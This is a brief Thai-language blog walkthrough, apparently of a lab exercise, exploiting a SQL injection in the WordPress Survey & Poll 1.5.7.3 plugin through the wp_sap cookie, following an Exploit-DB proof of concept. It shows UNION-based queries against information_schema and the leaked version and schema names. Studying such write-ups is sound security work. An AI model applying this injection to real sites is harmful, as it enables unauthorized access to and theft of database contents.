WordPress Plugin Survey & Poll 1.5.7.3 — sql injection

Nattawat Songsom
2 min readDec 29, 2024

--

เป็นบทความสำหรับการศึกษาเท่านั้นนะครับ

โอเค มาเริ่มกัน

ช่องโหว่นี้คืออะไร ?

เป็นช่องโหว่ของ plugin survey & poll ของ wordpress

โดย plugin นี้จะเปิดให้มีการส่ง sql payload ไปยัง database โดยตรง ทำให้เราทำ sql injection เพื่อหาค่าที่ต้องการได้

โอเค มาเริ่มกัน

โดยเราจะทำตาม step POC ตาม link https://www.exploit-db.com/exploits/45411

  1. ตาม POC ขั้นแรกคือ “เริ่มจากทำการลองเข้า instance ที่มีช่องโหว่นี้ แล้วทำการใช้งาน ui เพื่อตอบคำถามในเว็บ จะเจอว่าเว็บจะให้ cookie ชื่อ wp_sap มา โดย cookie นี้ เมื่อส่งกลับไปให้เว็บ จะเป็นการนำค่าใน cookie ไปใส่ใน sql SELECT syntax” => ข้อนี้เราลองใช้เว็บตามปกติแล้วเจอว่าเว็บ error เมื่อส่งคำตอบ งั้นข้ามไปข้อต่อไปกัน
  2. “ทำการใส่ sql injection ไปใน cookie wp_sap” => ข้อนี้เราลองทำตาม ได้ request ดังนี้

โดยใช้ pattern sql union inject และใส่ @@version ลงไป

3. “ดู html ที่ตอบกลับมา โดยหาคำว่า sss_params” => จะได้

<script>
var sss_params = {"survey_options":"{\"options\":\"3\",\"plugin_url\":
\"http:\\\/\\\/localhost\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\"
,\"admin_url\":\"http:\\\/\\\/localhost\\\/wp-admin\\\/admin-ajax.php\",\
"survey_id\":\"9\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":
\"true\",\"questions\":[[\"5.7.33-0ubuntu0.16.04.1\"]]}"};
</script>

โอเค จะเห็นว่าเราสามารถทำ sql injection และดูผลลัพธ์ของ query ได้

และ pattern version ที่ตอบมานี้น่าจะเป็น mysql

เอาละ มาเริ่ม search db กัน

4. เริ่มจากการ list db ทั้งหมด

จะได้ request

ซึ่งแปลงมาจาก

SELECT concat(schema_name) from information_schema.schemata

ได้ผลลัพธ์เป็น

<script>
var sss_params = {"survey_options":"{\"options\":\"3\",\"plugin_url\":
\"http:\\\/\\\/localhost\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\"
,\"admin_url\":\"http:\\\/\\\/localhost\\\/wp-admin\\\/admin-ajax.php\"
,\"survey_id\":\"9\",\"style\":\"modal\",\"expired\":\"false\",
\"debug\":\"true\",\"questions\":[[\"information_schema\"],
[\"wordpress\"]]}"};
</script>

โอเค มีแค่ db information_schema db เดียว ? แปลกๆแหะ

งั้นลอง list table ทั้งหมดใน db นี้กัน

5. list table ของ db

การ list table ของ mysql มี query เป็น

SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema='{ชื่อ_table}'

แต่พอลองปั้น request ส่งไปแล้ว instance จะไม่ตอบ response มาแหะ

งั้นมาข้าม step ไปหา flag กันเลย

โดยเราจะรู้อยู่แล้วว่า flag อยู่ใน table flag และอยู่ ใน column flag_value ดังนั้นเราก็จะได้ flag มาละนะ

Reference

https://www.exploit-db.com/exploits/45411

--

--

No responses yet